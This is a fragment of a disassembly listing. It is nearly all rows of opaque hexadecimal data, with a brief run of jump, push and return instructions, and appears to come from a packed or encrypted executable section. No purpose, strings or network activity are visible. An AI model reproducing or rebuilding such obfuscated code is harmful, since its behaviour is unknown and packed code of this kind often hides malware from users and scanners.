dd 156642BBh, 15ED2D32h, 45661132h, 1566888Ah, 2E186932h
dd 0E5671C0Dh, 2A5D6F37h, 4D7E8B0Ch, 1568C03Dh, 1C8F2232h
dd 0A1661132h, 6A8A78E7h, 382726BDh, 314FA7B9h, 9B6916C8h
dd 15668835h, 1567C53Dh, 0EC9F2232h, 21A384B9h, 73068FC8h
dd 0AA6992B9h, 0AF3443E4h, 15661133h, 753C5E1Bh, 0AB4F868Bh
dd 1575CB7Ah, 4FD11132h, 666FF1Eh, 94DBE29Fh, 36911CADh
dd 3FC1A96Eh, 0A8E5E97Dh, 129C65F7h, 30E22D33h, 0FC661135h
dd 15668834h, 5CDDC7Eh, 0CD5DE5EFh, 1547933Dh, 2E9F8832h
dd 0B3E04BE8h, 0FC662233h, 15661121h, 12CCFE8Dh, 0F784E5F8h
dd 0D53D817h, 676E34DAh
dd 9C2098DCh, 0EF43A987h, 9E004235h, 0EFED77C3h, 0A1FB0353h
dd 756E45C1h, 3D6BC1B3h, 188E6B25h, 44668832h, 0C8AE0843h
dd 0AEDF2BDh, 88054E39h, 156686DBh, 0D1499032h, 238992EDh
dd 7359ED40h, 4C4979A2h, 156DAD53h, 0F7042232h, 64CE3D97h
dd 0A9B8D857h, 0FDDF15B2h, 3C6A0423h, 4C76357Eh, 1942D433h
dd 194200B3h, 194033DAh, 156BF852h, 0FD998832h, 675D2BF0h
dd 420D76FDh, 94BB56F6h, 0B2FE7AE9h, 7C8F2513h, 1A662234h
dd 156603B0h, 156B6132h, 0DF854432h, 0FABECA07h, 40E611BCh
dd 9EB21B51h, 9C31600Eh, 11A1A3D5h, 96661132h, 29E18CF5h
dd 9E061816h, 0E1B1A3C3h, 7445599Dh, 34A30DF5h, 156743C8h
dd 1A9E2232h, 156610B8h, 9ED7D32h, 0F4EF1516h, 1562E3B3h
dd 0D4E51132h, 316A0F36h, 0AF00246Eh, 58E89FFh, 0D2661132h
dd 0B3B2B2DAh, 64BEBE84h, 4426CF07h, 94D3E94Bh, 7C390AD1h
dd 1A071E2Ch, 156625B3h, 14E51E32h, 0ED668832h, 404248B9h
dd 0D0E7C7BBh, 15661136h, 92624DB1h, 1A3A601Eh, 156635B9h
dd 1574F832h, 0CD5D8832h, 869A627Ah, 0AEFB550Dh, 0F93172CBh
dd 9A255586h, 464270B9h, 0D6E7C1BBh, 15661136h, 15624BB3h
dd 9E14432h, 1A067E16h, 156611B7h, 9C30E932h, 11A0C5D4h
dd 96662232h, 21E115F4h, 31420316h, 1567C93Dh, 0FC9A2232h
dd 0EA99C4FEh, 9C69E8CEh, 15664430h, 92694352h, 15661132h
dd 78DB0B53h, 1461BE13h, 1030A63Dh, 3E9E1132h, 0EF42A1AFh
dd 1560AD35h, 0F332232h, 9A109B99h, 128F05B9h, 926943C8h
dd 1566223Eh, 156616DBh, 0CBE71232h, 3DFFF111h, 6E5CE3B3h
dd 0FCE75714h, 1D92D263h, 0D4E79D33h, 1D927863h, 6E5CF8B3h
dd 7306CE14h, 0A6C7AAB3h, 11DB7753h, 3C044E57h, 0EC4FD5DBh
dd 706285B3h, 949F406Dh, 156615DEh, 315A0132h, 1566418Dh
dd 4A9F0B32h, 7378A1CEh, 0E3A00060h, 7396CCE4h, 19950E68h
dd 0FC9D1590h, 15668834h, 524EE0BDh, 0FCCC1793h, 15661123h
dd 0AE19F037h, 4FFA88A1h, 834CFED1h, 377BF28h, 1A06E8B3h
dd 156644BEh, 15E52D32h, 74661132h, 4436E9CEh, 964240B9h
dd 0FC3F26F6h, 1566113Eh, 0C73520BCh, 1A3350A0h, 0FB450B99h
dd 0EEED7752h, 1560053Dh, 98694432h, 15662232h, 9F69BA53h
dd 1566882Ah, 156657DBh, 6D0FD432h, 434422E1h, 0EE189B49h
dd 5AD74F5Bh, 13ABDDDh, 1562FDB3h, 29EF8832h, 9481CD16h
dd 156626F5h, 11A19232h, 4942B4B5h, 156DAC52h, 0C96A2232h
dd 0AAD69E8Fh, 6F6DB4EAh, 15E14BDEh, 4E662232h, 74B6F8B2h
dd 4E42BCCDh, 156280B3h, 138F2232h, 661132h, 83156803h
dd 316ACF03h, 9484AB60h, 156615F0h, 11A40932h, 92664432h
dd 0E93A0626h, 156602DBh, 2EC3C332h, 20F516C2h, 46AE30F5h
dd 4535F7C0h, 2CD9DF6Eh, 404270B9h, 0D0E7C7BBh, 15661136h
dd 92624DB1h, 0FC3A601Eh, 15662238h, 410FABFBh, 24562BEFh
dd 9D0EE907h, 9C662244h, 0F4EF353Eh, 156249B3h, 0D4E54432h
dd 316AA536h, 1569F86Eh, 0D6098832h, 0F97E2DE4h, 0A744D5D5h
dd 0FB271465h, 156E6197h, 0C80B4432h, 59F06670h, 5D8F86D5h
dd 1A9977E5h, 156655B9h, 74064232h, 156616DAh, 0DF982A32h
dd 48014DF0h, 1A06436Ah, 156617BEh, 15E98732h, 73664432h
dd 0E43BEAB3h, 0A1E3D653h, 176E89C1h, 1A664432h, 15662AB5h
dd 0D9E67132h, 0D1850878h, 0E4EF1553h, 19EDE9BBh, 11A29216h
dd 80A53352h, 0A2690179h, 0A36943EDh, 14E51E3Ch, 0E9668832h
dd 1AE6BDB2h, 156643B1h, 156AF832h, 8EA38832h, 116F6587h
dd 0F1E1448Eh, 0D6E78009h, 5EBE9D35h, 7F94AFB3h, 0DE6759A1h
dd 7F94D2B3h, 0FEE7F3A1h, 5EBE5135h, 156631DBh, 3A2DF932h
dd 39C5B1E7h, 7EC6D53Ch, 52819EA1h, 1A236434h, 31620B61h
dd 0FC9E1F33h, 1566224Dh, 15661CDBh, 26FC6C32h, 4B17B7E9h
dd 90C9466Fh, 0A7347BA8h, 10844866h, 4561A6F2h, 0FDA66982h
dd 0EB57353Ah, 1566BCFAh, 0C44E1CF0h, 0C491D768h, 0FC67D0B1h
dd 15668821h, 0E9189EF2h, 2EEEA9B9h, 65D85087h, 376A545Fh
dd 4200A85Bh, 2EE29C64h, 6ED97E96h, 14F6D3F7h, 0EC471AC5h
dd 0AD36D76Dh, 46FD27EBh, 3C3E4B33h, 0CC8DC5F9h, 0FC35B904h
dd 15661139h, 0E36962F3h, 0C3F3A93Ah, 9EBC56E9h, 0EF4238B7h
dd 1DE78735h, 1A664432h, 156620BFh, 9E077132h, 0EF524DA7h
dd 156CAD35h, 5D172232h, 0FEEA188Bh, 0D2830FAFh, 0EA9C85DBh
dd 156FCBCDh, 2C7B1132h, 1B1641A9h, 0D277713Fh, 149596B7h
dd 1566133Ah, 1EE18732h, 75664432h, 37269954h, 0DB949054h
dd 0F70EE92Ch, 9C664447h, 753D0606h, 156618DBh, 246C4D32h
dd 9F5459FDh, 9D696DC5h, 15661131h, 745556B2h, 1BD04BCAh
dd 0B38DA352h, 73062E9Bh, 747E3E88h, 1AE6BDB2h, 15665AB1h
dd 1577F832h, 81778832h, 8A08BDCEh, 0BF30B1F7h, 6FFE84D5h
dd 0E9C9EF49h, 3BB7FE60h, 0E7E76471h, 2FF83FCFh, 946462F3h
dd 0CE1F2CD0h, 2194A35Fh, 3C5C9C74h, 0DE67D2E1h, 135A87B3h
dd 0FC0615ACh, 1566113Bh, 3832312Fh, 7DE6F92Dh, 1BDC4498h
dd 0A833701Eh, 0EA9977CDh, 0FC3BAF1Bh, 1566223Fh, 0F28F0C36h
dd 75705698h, 30FEB22Dh, 15E4CBCAh, 94691132h, 15668833h
dd 0D2D416CAh, 95B1D0B2h, 0FFA62BD8h, 0AB8C0831h, 951586B2h
dd 0D4E612F0h, 95B73956h, 0EC3CECDBh, 0E29FC37Bh, 759FA5E5h
dd 954EC4B2h, 45073CF9h, 1809F68Ah, 69DD7137h, 343F7631h
dd 0BB43D3EAh, 2004841Ah, 44027C57h, 0B7DD147Ah, 0D44726A9h
dd 1A8E246Ah, 7A662232h, 0EC961931h, 0F71CB188h, 8FEBBE7Fh
dd 0CD30FD0h, 0A833706Dh, 47CA9F57h, 3C3BAF1Bh, 70A5A3F9h
dd 0E034BD25h, 314F0DB9h, 986943C8h, 1566222Ch, 15E11E52h
dd 0FC668832h, 15664423h, 0EABD4DD0h, 7CBCCC87h, 8FA93086h
dd 0AD64C29Eh, 80ED43AFh, 129C25F7h, 156A61CEh, 55C24432h
dd 0CC63BD9Ch, 0B1FA27C3h, 0A8E577D5h, 129C655Fh, 0E4E22D33h
dd 0EC99EEC4h, 97695009h, 15664417h, 15662ADBh, 9632F632h
dd 0EC6FE4FEh, 1AB57D83h, 0EA8B95B4h, 0D2E671CDh, 10E2878Dh
dd 73664432h, 0C550F8B3h, 52DE4153h, 0D415F150h, 0C59143D2h
dd 0B5270317h, 0AAB82409h, 0D36774CDh, 0E84B6Ah, 0FC662232h
dd 15661122h, 4559DE3Ch, 0C1011E5Ah, 9FEAF06Fh, 8D280D33h
dd 156687DBh, 3F14A32h, 61E7320Dh, 9ADFF7CAh, 0B6E1734Eh
dd 3162C564h, 26662B8Dh, 94421DB9h, 15668CF6h, 0AA8FC532h
dd 0EC55223Bh, 2EC9D0B3h, 0EC4FF274h, 2EC9FB65h, 0EC4F5874h
dd 7306716Dh, 705A7EB3h, 4607BD53h, 7078AA89h, 98959038h
dd 3C6CED2Ch, 188F1FEBh, 57662232h, 0F0602603h, 15337F22h
dd 82A06773h, 73989363h, 1DD9A162h, 0EB3EEEF3h, 168F84F3h
dd 0D4E6E3CCh, 4CAE99DAh, 15780D3Dh, 9F694432h, 1566222Ah
dd 156602DBh, 0C0A13632h, 0B00698D3h, 1E4EAA10h, 94FD6034h
dd 98E3C0FFh, 13EA4B98h, 75662232h, 0ED9CAE3Dh, 118A0B53h
dd 444240BBh, 78F7B6Ah, 50661132h, 0DB37A735h, 0AF26F418h
dd 86A44618h, 28236297h, 0FC9323DEh, 0EA999731h, 156AA43Dh
dd 98691132h, 15668834h, 1566C23Dh, 0AC372232h, 15661132h
dd 0AF347933h, 15664432h, 17ECE833h, 1A8F4868h, 0B8668832h
dd 85E1D605h, 2F99B85Ah, 22B725A3h, 1D8F6F94h, 0C3664432h
dd 797BFB2Bh, 2905B8DAh
dd 5EE287DAh, 0FC664432h, 15662223h, 9A3DCF1Bh, 5C2D3A3Ch
dd 3954B345h, 856BBDh, 59D847E9h, 0AD27C426h, 542A507Eh
dd 21EDD21Bh, 11A29016h, 0FC668832h, 15664439h, 170A6D0Ah
dd 309093A4h, 0FC0FF784h, 15664551h, 156627DBh, 1EE85932h
dd 9C35DF4Eh, 11A5C5D1h, 96662232h, 9E115D9h, 9EFD416h
dd 1DE54B16h, 75662232h, 1566923Dh, 43078832h, 944258B9h
dd 156626F6h, 1C8F7132h, 89668832h, 68AC5FF0h, 5BDFD516h
dd 9B697153h, 15668830h, 1B8F1D60h, 70662232h, 0FE21233Ah
dd 0BC154FCh, 539D992Eh, 4634433Ah, 0F7D985Ah, 0D6E7D318h
dd 0C083A04Ah, 143DF8BBh, 4F7C12C0h, 156681DBh, 0BD8AEF32h
dd 41123F03h, 0AD363C8Ch, 15668837h, 11ED8733h, 11A2A316h
dd 0ED661132h, 74C03852h, 3CD61463h, 0A53EE7BAh, 4C8E21F3h
dd 15668EDBh, 416D6232h, 0BF11E635h, 3D946CEh, 0D41D1450h
dd 0C2914CDDh, 2F9FD5B3h, 0EE67FF0Bh, 949DA16Dh, 0A83F20D9h
dd 0A833DA23h, 15661136h, 2BC4BB3h, 0FE4F1DCEh, 2BCC9B3h
dd 1A3B48CEh, 156689BFh, 9369BC32h, 15662235h, 0FCE77752h
dd 240793F2h, 24A575EAh, 0FCCDDBEAh, 1566113Bh, 27E947E1h
dd 0B614C3A6h, 3152DD2Dh, 11A29069h, 0FC668832h, 15664435h
dd 790100D8h, 0E9F493E8h, 10DDDB65h, 9C664432h, 0EB6779EDh
dd 14E91E6Dh, 0E9668832h, 0B80E16CBh, 9E09D94Ch, 0D1E53526h
dd 0B9940936h, 9C09BF4Ch, 986978E2h, 15661139h, 0C3EDEE52h
dd 0BB9BB3h, 0D6076964h, 16EF1E52h, 73668832h, 460782B9h
dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h
dd 1ED1E16h, 0FC668832h, 1566443Dh, 0B6E8B2AFh, 306392E9h
dd 60A43631h, 736D85EBh, 460014CDh, 7A41AA54h, 313AB954h
dd 733D2230h, 3253446Ah, 0D65AED5Dh, 143A0C3Dh, 92694432h
dd 15662222h, 15661ADBh, 0B61CB832h, 19976B95h, 9E066013h
dd 9169DA0Eh, 1566890Ch, 17EA4B52h, 75662232h, 1A07E853h
dd 156696B4h, 95692432h, 15662232h, 156600DBh, 0EEF55032h
dd 5CB74A5Eh, 2EBFED7Fh, 0D1725206h, 29077910h, 5EE24BF0h
dd 0E0662233h, 9169DB0Eh, 15668970h, 1547C53Dh, 0FD062232h
dd 15661121h, 34B25344h, 0E4C0ADC8h, 1991A3D7h, 0F643345Dh
dd 4A6AF923h, 0F1458EB3h, 73072BA8h, 1A43EE0Fh, 1567C7B6h
dd 156CAD32h, 2DCB2232h, 3D2FE34Eh, 0BE485D80h, 0EA487954h
dd 1507A73Dh, 78F1132h, 6D668832h, 9B402E95h, 87CCB1ABh
dd 0AD87886Eh, 526165C0h, 17DF15D4h, 14662232h, 15DC43C3h
dd 14668832h, 4F64CEF8h, 156FCB6Bh, 59921132h, 0E40C50CFh
dd 47FDE4D3h, 0F7E68980h, 0A5D142D2h, 353D721Ah, 29931EE2h
dd 22E22D92h, 0FC661133h, 15668839h, 61D36039h, 0D395783Eh
dd 0EA8A70D5h, 943FAC06h, 156640F6h, 14E52D32h, 0EC661132h
dd 27683567h, 0D8E74F9Dh, 66E15DABh, 45B3E677h, 0A352B78Ah
dd 4CCB6952h, 1D6B2B5Fh, 0E26C7829h, 4EA2BDE2h, 0D0679F0Bh
dd 488EAB6Ah, 14FFF8CEh, 1E8F8832h, 0B664432h, 250E54BFh
dd 0FB5D9AFEh, 0DC57994Dh, 15664ADBh, 8E1EC332h, 0FD7ACA0Ch
dd 0BAFC300Bh, 474CA529h, 15662388h, 4FB71032h, 16EB8752h
dd 95664432h, 749A52C6h, 1566D6DBh, 15696132h, 91014432h
dd 0E393C48Eh, 8B221B84h, 9069C763h, 160EB808h, 9E662232h
dd 0D1E5353Eh, 1C8FE836h, 0C664432h, 0C09B41CDh, 0A87D3A3Dh
dd 156F6061h, 10BA4432h, 39D7748Ah, 4CA6CE26h, 948FE96Dh
dd 0FC664432h, 1566223Ah, 0FF4BB07Dh, 6CC7EBF1h, 86129D8Bh
dd 9487F318h, 0A56812DBh, 94BF7F27h, 4A2CC9C3h, 6797A312h
dd 47358C47h, 0A4714B88h, 10848547h, 4AA4C0B3h, 0D7E75258h
dd 5FF4042Ah, 753C9533h, 0DAE7F3B8h, 4B739070h, 15546153h
dd 75064432h, 1566AA3Dh, 0D7E61132h, 0A269E9B2h, 0F9E725FCh
dd 15662236h, 0A8423DBBh, 15668835h, 753BADBBh, 73B69D3Dh
dd 0F926DAB3h, 14E98753h, 0ED664432h, 9E9E86C1h, 0EF52D4BFh
dd 48FE835h, 0D664432h, 0F26317ABh, 0FC97F344h, 0C98C5491h
dd 18B62591h, 0D9F49D54h, 1AAF9453h, 1566AEB7h, 1DEB4B32h
dd 75662232h, 1566913Dh, 9C078832h, 0EF528187h, 19E22D35h
dd 1A661132h, 15668EBBh, 15E94B32h, 0EA662232h, 963F3506h
dd 1A9E8CF6h, 156656B7h, 156BCB32h, 0B6811132h, 1783A0F0h
dd 1B350027h, 4714DF9Ch, 15661088h, 9EB60132h, 0D1E56026h
dd 19E32D36h, 0FC661132h, 15668835h, 426F16A4h, 0D67C2470h
dd 156E943Dh, 94698832h, 15664430h, 0EA004352h, 39E77704h
dd 73080216h, 7335226Ah, 7308A889h, 4E00C933h, 15669ADBh
dd 0F73C3132h, 2B7C645Fh, 7BC0ADF6h, 0F24EB3Ch, 29533B80h
dd 0C5E22DF1h, 1A661133h, 156682B6h, 9E692432h, 15662232h
dd 4707DAB9h, 0E6EE4EBAh, 964250B9h, 459E26F6h, 0D1E66B86h
dd 95B27EB4h, 0D1E66CD6h, 39D17168h, 9592D6B2h, 0C290BFD5h
dd 1517ABB2h, 0F64679CEh, 7306716Ah, 0A10772B9h, 959F2542h
dd 916952C9h, 15661524h, 17E28752h, 0A4664432h, 1E8F7482h
dd 71661132h, 88088FFCh, 0A5B02C5Eh, 743D956Eh, 9169F80Eh
dd 15668969h, 157FC33Dh, 18F2232h, 0E0661132h, 0C31B1457h
dd 0BE6C9301h, 7748328h, 0A6BDE257h, 29D68E2Ah, 21E24BD9h
dd 1A662233h, 15660BB2h, 1E48732h, 0FC664432h, 1566223Dh
dd 1003855Ah, 6D73A665h, 10BB6ADDh, 295630ADh, 19E21EF0h
dd 0ED668833h, 91698F0Eh, 15662331h, 15679B3Dh, 739A8832h
dd 1A43BB0Fh, 1566D0B6h, 1572F832h, 0ECE78832h, 37DD544Bh
dd 498097FCh, 9E23789Fh, 0FA1F26C0h, 750646ABh, 1A9BE4B2h
dd 156611B4h, 9400E932h, 74F0D7E9h, 9169E80Eh, 1566118Dh
dd 15680D3Dh, 1C8F4432h, 68662232h, 0A1EE6FFCh, 0C950BBBh
dd 9169A70Eh, 15662108h, 1567963Dh, 739E8832h, 1A996A0Fh
dd 156666B7h, 670EE432h, 9C668815h, 17DC6026h, 14662232h
dd 4F649BC0h, 0C7D98752h, 453525CAh, 0D2EED282h, 4E9E316Ah
dd 0D3EDEE52h, 29071C60h, 75E22D92h, 1A661132h, 156689BEh
dd 9406BC32h, 4D7D7FFCh, 0C5ED774Dh, 2FD8DE53h, 945A9F46h
dd 2B7791C4h, 1788D043h, 94636EF3h, 254D9FFCh, 2580A311h
dd 473BE310h, 27449888h, 4FB0757Fh, 0FC38D2BBh, 15661139h
dd 61274309h, 0EE08190Ah, 0FCD801CBh, 15661145h, 156F0B3Dh
dd 1A064432h, 156622B0h, 9C07E932h, 0EF524D87h, 14EF4B35h
dd 0E0662232h, 0AE5E8CBFh, 1B8F8032h, 3B664432h, 42397DE5h
dd 0A0A46FFAh, 3D3BF2F0h, 0EDB5BB34h, 1562CEB3h, 9EF1132h
dd 2EFA3316h, 88DE1959h, 3C3B4909h, 91694AEAh, 1566882Bh
dd 156650DBh, 16E1B932h, 78760A12h, 3DC9594Eh, 0E42C399Ah
dd 0AB91D1F3h, 0DAE671DCh, 0F4E7EE85h, 0D607E3AAh, 156632DBh
dd 71B47432h, 4CB9CD8h, 1A3E25A9h, 0C74ECBC6h, 0F2EF469Bh
dd 15624FB3h, 0FAE54432h, 315AA536h, 3162986Eh, 15668DDBh
dd 0AF3B2832h, 6399D697h, 31629A22h, 15624CB3h, 96694432h
dd 15662233h, 0D0E398C7h, 1A61721Fh, 156645B8h, 1E8FDB32h
dd 0F3661132h, 466045ADh, 86656C42h, 11ED1046h, 0F4EF4016h
dd 156249B3h, 0D4E54432h, 316AA536h, 0A833ED6Eh, 1566882Eh
dd 679382B3h, 0FB67133Eh, 6793FFB3h, 0FC3BB93Eh, 15664423h
dd 492F0CD1h, 55FE3A2Ch
dd 0B0423320h, 6AF1790Ch, 0DEE2D72h, 0FC661132h, 15668821h
dd 0BE5FC981h, 44F30491h, 923C9946h, 1B94A35Ah, 98C3D28Dh
dd 0EF53038Fh, 1DE51E35h, 75668832h, 1ABFCF54h, 7507D58Dh
dd 749D9A54h, 0F34B7D9Fh, 10395934h, 48FF5253h, 31425531h
dd 8C16E91Fh, 1380416Fh, 78F7D2Fh, 26661132h, 68155516h
dd 78947C21h, 5AF33E64h, 3FDA3931h, 15636144h, 0B9A64432h
dd 0BE80C1B6h, 0FCDB9CCEh, 1A617222h, 156645B2h, 0FCCBD732h
dd 1566113Eh, 0EE72B0A7h, 2B1F6B0Dh, 13EDCB9Bh, 156E9C3Dh
dd 9B698832h, 15664430h, 0A8334352h, 4E9E2E4Eh, 942355C5h
dd 5121DAFFh, 9483F337h, 37E9A7F7h, 488EA1E5h, 31420031h
dd 0A778D637h, 9E007113h, 0EDD187F8h, 0F7EF1653h, 1562E0B3h
dd 0FFE71132h, 15668836h, 494250B5h, 0FC4226BBh, 15661135h
dd 107E4013h, 0BE1B06DEh, 156DA63Dh, 138F1132h, 0EE668832h
dd 0A4939788h, 0DBAF03h, 0EC61EB1Ch, 48F7D9Fh, 4F664432h
dd 0C6955FA1h, 0DF83712Eh, 5CBA10B5h, 0CA14EF50h, 4A07471Fh
dd 3122124Dh, 4BDBDD1Ah, 0D41D1F09h, 0C89120DFh, 6A1DDCB3h
dd 9423C0B8h, 597853DFh, 488E2358h, 9A69BACAh, 15668828h
dd 0C5E72252h, 188E5CD1h, 22661132h, 0B20F37B5h, 51C55537h
dd 0CDDB85E3h, 21ED706Ch, 0F4EFD916h, 156285B3h, 0D4E72232h
dd 15661136h, 494284B5h, 156CC23Dh, 1A062232h, 156611BEh
dd 749C0332h, 9C36B8F1h, 156227D2h, 114B1132h, 92668832h
dd 9C3A6036h, 9A690606h, 15661136h, 74A73C52h, 0AF20D9BFh
dd 92692A32h, 1566113Eh, 15600B3Dh, 97694432h, 15662232h
dd 15661ADBh, 0C1AD0832h, 65DD0AA3h, 79E3292h, 9669C2CDh
dd 1566883Eh, 1560C73Dh, 96692232h, 15661132h, 156680DBh
dd 6D9C1232h, 0F7FB1EF8h, 0E9C9F8F4h, 0DFFCFFCDh, 6CD24ECEh
dd 8AFD4AA8h, 0F251A245h, 0D1DEC0D5h, 0ED96AA44h, 8A152AA8h
dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h
dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
dd 8660D554h, 2559D7BAh, 8B422ACEh, 32DCF14Dh, 82147D83h
dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 0FF4138C8h
dd 7462255h, 0A90675DFh, 3C6D55Ch, 92B85E00h, 75152A54h
dd 0DDAEAE30h, 968FA75Ch, 0FB59A312h, 0DDC2B0D9h, 7BAEAA44h
dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h, 82147D7Ch
dd 7FCB2F16h, 751D2B03h, 54142B96h, 8A152ABDh, 0EDDAC345h
dd 82D7E3A8h, 3044BA45h, 8D8D0000h, 8015DC0h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0FBC35040h, 0F3BF0F62h
dd 0D98D89F9h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 9FF9C356h, 5EE0A6E6h
dd 0E05277BEh, 4D77BA60h, 89613469h, 0FA0D4DB5h, 0AD85C707h
dd 6C07FA31h, 6A00005Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 978EC353h, 0ED953196h
dd 6607FA16h, 3F2AC381h, 2BD985C7h, 7FAh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 8960BBC3h, 0FA08D195h, 0E6816607h, 8961720Fh, 0FA30B5BDh
dd 0DE907h, 513D0000h, 50CB1C6Ch, 94561504h, 0FFA09A9Bh
dd 0FA16F1B5h, 61BD8B07h, 8B07FA08h, 0FA0CB595h, 9995FF07h
dd 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 78ECC355h, 0E821B27Ch, 89D9ED04h
dd 1485B589h, 0BF0F07FAh, 0FF006ADFh, 0FA101995h, 0EBC08B07h
dd 0DBD3400Bh, 90D17753h, 87514672h, 3BE9h, 0BD8B6000h
dd 7FA1785h, 8304EF83h, 0A4F305E9h, 5203CB8Bh, 32567C59h
dd 0EE730EB1h, 0C300A5F5h, 26BFC384h, 735657B1h, 7D3256B1h
dd 0D23BF969h, 1AD8AD2Eh, 55E467B0h, 6C3BF84Dh, 32565A58h
dd 551AB8B1h, 0E9835FD7h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah
dd 0DB9917FBh, 0D525F57Bh, 0ADFDF53Fh, 9F749BADh, 0CFB73422h
dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0B1987C27h, 0A07DFC12h
dd 8313A3FFh, 0A4F305E9h, 0BD8DDB8Bh, 801F3B8h, 7DB68D8Dh
dd 44B80802h, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h
dd 6E9F675h, 0B5000000h, 39D1DE7Fh, 66F86067h, 611116B9h
dd 82BA5250h, 2971803Ch, 5A042454h, 3C820558h, 880F7180h
dd 8, 2850Fh, 61600000h, 2ACDBD83h, 750007FAh, 99BD8309h
dd 7FA18h, 53501974h, 11B8C08Bh, 89000004h, 0FA158185h
dd 8B9D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh, 17740007h
dd 11B85350h, 89000004h, 0FA158185h, 2C9D8D07h, 0FF07FCDFh
dd 0E9585BD3h, 14h, 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h
dd 9E666597h, 0FE9h, 4E1C0100h, 0FF59CD98h, 0F4691AA3h
dd 45390FD3h, 24048B50h, 0E904C483h, 0Ah, 8B9A8C42h, 0EE6F0FD9h
dd 8DF8482Bh, 2820F8Dh, 3D9D8B08h, 8907FA0Dh, 0FA1CD98Dh
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 19A2DFE6h, 0B966608Dh, 14E8D4FDh, 52000000h
dd 45D513C8h, 79FFEF2Fh, 755FCDEEh, 26FCABD4h, 60CB6678h
dd 0C7615B61h, 0FA31AD85h, 5D1C07h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 9C9CCEABh
dd 2952600Ah, 0FA23A58Dh, 8D8B5B07h, 7FA2545h, 34E88061h
dd 2BD985C7h, 7FAh, 0D08B0000h, 2EA9B5FFh, 8B6607FAh, 9995FFF7h
dd 6A07FA17h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0A8A1C356h, 78812CACh, 2840F3Bh
dd 0B7000000h, 0FF006ADEh, 0FA101995h, 0EBC08B07h, 2FE6C66Eh
dd 6E3FB446h, 44CF6205h, 7B9A1C4Dh, 314BDA47h, 125C9D5Eh
dd 0ED373EDFh, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 91FB8687h
dd 0BB62790Bh, 0EC987754h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch
dd 554D1FFDh, 9E72580Eh, 0C2AECD37h, 456E7F85h, 254467CAh
dd 0C63062ECh, 3A8F4756h, 63842C01h, 0FE2723B0h, 0C8762D75h
dd 0B0BBB57h, 0E9496E3Bh, 0EDh, 0D88C6660h, 840F04A8h
dd 0DFh, 2AA9B58Bh, 0FE8307FAh, 22850F00h, 0C6000000h
dd 0FA066585h, 69684507h, 0FF8E7269h, 0FA08A5B5h, 0DD858D07h
dd 0FF07FDA3h, 0BD8589D0h, 8B07FA0Eh, 0E93E80F0h, 31850Fh
dd 858D0000h, 7FFB5DFh, 0BD8BD0FFh, 7FA1505h, 1184C781h
dd 0B58B0000h, 7FA2AA9h, 8B9F787h, 0F3000000h, 0A9B58BA4h
dd 8D07FA2Ah, 0FDD76185h, 8BD0FF07h, 0FA0649B5h, 0FE8307h
dd 22850Fh, 85C60000h, 7FA0665h, 0BEF46854h, 0B5FFFF4Eh
dd 7FA08A5h, 0A3DD858Dh, 0D0FF07FDh, 6498589h, 0F08B07FAh
dd 0FE93E80h, 3A85h, 49B58B00h, 8D07FA06h, 0FFB5DF85h
dd 8BD0FF07h, 0FA1505BDh, 84C78107h, 83000011h, 0B58B08C7h
dd 7FA0649h, 8B9F787h, 0F3000000h, 49B58BA4h, 8D07FA06h
dd 0FDD76185h, 61D0FF07h, 87858DC3h, 89080282h, 0FA0B1D85h
dd 22E907h, 0F6810000h, 6076h, 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_60BCDA
; ---------------------------------------------------------------------------
push 80284CFh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 802852Eh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8028693h
jmp loc_58B334
; ---------------------------------------------------------------------------
db 71h
; ---------------------------------------------------------------------------
movsd
stc
retn
; ---------------------------------------------------------------------------
db 16h
dd 0BF6CA2FCh, 65124856h, 11BEF4AAh, 34689E00h, 2579987Fh
dd 0CCD242EFh, 7727E996h, 1F7F9441h, 0A6C21AE9h, 7E90643h
dd 1E730B71h, 0F51EA9F5h, 6AA7984Fh, 3F7AA434h, 0E1BD57DAh
dd 0C1477E67h, 9C1637Eh, 4EF45D9Dh, 0E1BD56BBh, 53BE13ABh
dd 0F197C04Bh, 0D767F990h, 0E0B319BBh, 0FD3DBD07h, 0E0927EE1h
dd 0DF4BA407h, 7E0927Ch, 0A0FE15AAh, 1A83EC15h, 91FC638Fh
dd 850607E0h, 9E8CC4CBh, 0DC2A406Eh, 0BB000002h, 0CEBB657Bh
dd 98C20292h, 1A60061Dh, 54C86EDCh, 7E0DB52h, 6D972780h
dd 355C5D19h, 9EE38945h, 46A54C3Ah, 59078205h, 39B74C9h
dd 0E7A9C55Dh, 7C028068h, 58BD203Ch, 8AE3FD4Ch, 0B2429BE4h
dd 70EAB45Dh, 0F5041EC1h, 10A349EBh, 3ECE92F7h, 46209D22h
dd 5EEE4705h, 516D0A09h, 0FA85DAEEh, 1C52BB14h, 57BEA46Fh
dd 2A93BC47h, 3931A6Ch, 5DFC3763h, 311h, 0C8FEA076h, 71A7F71Bh
dd 174D51C4h, 0C3F9A56Ah, 6DA3FB16h, 769B8439h, 0CF45F228h
